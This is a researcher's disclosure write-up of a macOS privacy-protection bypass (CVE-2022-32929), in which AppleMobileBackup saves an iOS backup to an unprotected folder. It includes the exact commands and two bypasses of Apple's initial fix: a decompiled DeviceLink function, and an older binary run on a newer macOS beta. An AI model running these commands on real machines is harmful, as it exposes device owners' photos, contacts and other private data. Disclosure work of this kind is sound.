Intro Link to heading

Normally, when a users backup their iOS device, the backup is saved into ~/Library/Application Support/MobileSync/Backup directory. The MobileSync directory is properly protected by TCC, as the backup can contain photos, contact information, everything from the iOS device, and it might be unencrypted, so this is a whole lot of private information. It’s only accessible with Full Disk Access rights.

The issue is that an attacker can invoke the AppleMobileBackup utility and make a backup to a custom location. Thus completely bypassing the protected backup location.

First, we need to find out the UDID of the connected iOS device, we can do this with the following one-liner:

system_profiler SPUSBDataType | sed -n -E -e '/(iPhone|iPad)/,/Serial/s/ *Serial Number: *(.+)/\1/p'

With my test iPhone 12 Pro connected I got the following:

csaby@mac ~ % system_profiler SPUSBDataType | sed -n -E -e '/(iPhone|iPad)/,/Serial/s/ *Serial Number: *(.+)/\1/p'            
2021-11-23 17:37:01.606 system_profiler[87413:5503756] SPUSBDevice: IOCreatePlugInInterfaceForService failed 0xe00002be
2021-11-23 17:37:01.607 system_profiler[87413:5503756] SPUSBDevice: IOCreatePlugInInterfaceForService failed 0xe00002be
2021-11-23 17:37:01.607 system_profiler[87413:5503756] SPUSBDevice: IOCreatePlugInInterfaceForService failed 0xe00002be
2021-11-23 17:37:01.608 system_profiler[87413:5503756] SPUSBDevice: IOCreatePlugInInterfaceForService failed 0xe00002be
2021-11-23 17:37:01.608 system_profiler[87413:5503756] SPUSBDevice: IOCreatePlugInInterfaceForService failed 0xe00002be
2021-11-23 17:37:01.609 system_profiler[87413:5503756] SPUSBDevice: IOCreatePlugInInterfaceForService failed 0xe00002be
2021-11-23 17:37:01.610 system_profiler[87413:5503756] SPUSBDevice: IOCreatePlugInInterfaceForService failed 0xe00002be
AAAAAAAAXXXXXXXXXXXXXXXX

There are a few failures, but the last line is actually the UDID of the device, AAAAAAAAXXXXXXXXXXXXXXXX (note that this is obfuscated, this is not a real UDID).

Then we can make a backup:

/Library/Apple/System/Library/PrivateFrameworks/MobileDevice.framework/Versions/A/AppleMobileDeviceHelper.app/Contents/Resources/AppleMobileBackup -b --target "AAAAAAAA-XXXXXXXXXXXXXXXX" --root /tmp/

This will make a full backup, and we can access it, for example:

csaby@mac ~ % ls -l /tmp/AAAAAAAA-XXXXXXXXXXXXXXXX/00 
total 6792
-rw-r--r--  1 csaby  wheel    42057 Nov 23 17:41 00002e8b25129e2c7ca48f8e6fae558ae448b1d8
...

Apple initially fixed this by removing the --root option from AppleMobileBackup. I reported two bypasses, which they say it’s fixed as well now, under the same CVE.

Bypass 1 Link to heading

Although I haven’t done it, someone could reimplement the bug using the /Library/Apple/System/Library/PrivateFrameworks/DeviceLink.framework/Versions/A/DeviceLink framework, as it still has the function, called _DLSetRootDirectory to set the root directory.

void _DLSetRootDirectory(int arg0, int arg1) {
    r14 = arg1;
    rbx = arg0;
    rdi = *(arg0 + 0x98);
    if (rdi != 0x0) {
            CFRelease(rdi);
    }
    *(rbx + 0x98) = r14;
    CFRetain(r14);
    if (_DLShouldLog(0x6) != 0x0) {
            __DLLog("/AppleInternal/Library/BuildRoots/800759f9-1149-11ed-a6b7-ea36a6e2fcb9/Library/Caches/com.apple.xbs/Sources/DeviceLink/WireProtocol/DeviceLinkConnection.c", "DLSetRootDirectory", 0x6, @"DLSetRootDirectory(\"%@\")", r14, r9, stack[0]);
    }
    return;
}
/* @class MBComputerManager2 */
-(int)backupWithTargetIdentifier:(void *)arg2 options:(void *)arg3 {
    var_30 = arg3;
    r13 = arg2;
    r12 = self;
    rbx = *ivar_offset(_backupTargetIdentifier);
    [*(self + rbx) release];
    *(r12 + rbx) = [r13 retain];
    rax = [NSMutableDictionary dictionaryWithCapacity:0x0];
    r14 = rax;
    [rax setObject:@"Backup" forKey:@"MessageName"];
    if (r13 != 0x0) {
            [r14 setObject:r13 forKey:@"TargetIdentifier"];
    }
    rbx = var_30;
    if (rbx != 0x0) {
            [r14 setObject:rbx forKey:@"Options"];
            rax = [rbx objectForKey:@"RootDirectory"];
            if (rax != 0x0) {
                    [r12 setRootDirectory:rax];
                    DLEnsureDirectoryExists(rax);
            }
    }
    var_38 = 0x0;
    [r12 _sendMessage:r14 error:&var_38];
    rbx = *ivar_offset(_backupTargetIdentifier);
    [*(r12 + rbx) release];
    *(r12 + rbx) = 0x0;
    rax = sub_100008c92(var_38);
    return rax;
}

Bypass 2 Link to heading

The other option was to copy the binary from Monterey and simply run it on Ventura Beta 5. It still works as it has the --root option, and wasn’t disallowed in AMFI.

csaby@csabys-Mac ~ % ./AppleMobileDeviceHelper.app/Contents/Resources/AppleMobileBackup -b --target "AAAAAAAA-XXXXXXXXXXXXXXXX" --root /tmp/
csaby@csabys-Mac ~ % sw_vers 
ProductName:		macOS
ProductVersion:		13.0
BuildVersion:		22A5321d
csaby@csabys-Mac ~ % shasum ./AppleMobileDeviceHelper.app/Contents/Resources/AppleMobileBackup
05554a5309bee93182dc7e876f51036fa107413b  ./AppleMobileDeviceHelper.app/Contents/Resources/AppleMobileBackup
csaby@csabys-Mac ~ % ls -l /private/tmp 
total 0
drwxr-xr-x  260 csaby  wheel  8320 Aug 11 14:42 AAAAAAAA-XXXXXXXXXXXXXXXX

Fix Link to heading

I didn’t verify how Apple fixed this at the end, but CVE-2022-32929 is only reported for iOS devices, and based on the following Twitter thread they might have decided to do something on the iOS end rather than on macOS. Apple asks the passcode now for every single backup. This is unfortunate, as this was an issue related to macOS, and it sounds like Apple have broken some functionality by making backups much harder on iOS.

https://twitter.com/j_obermayr/status/1591347615618453504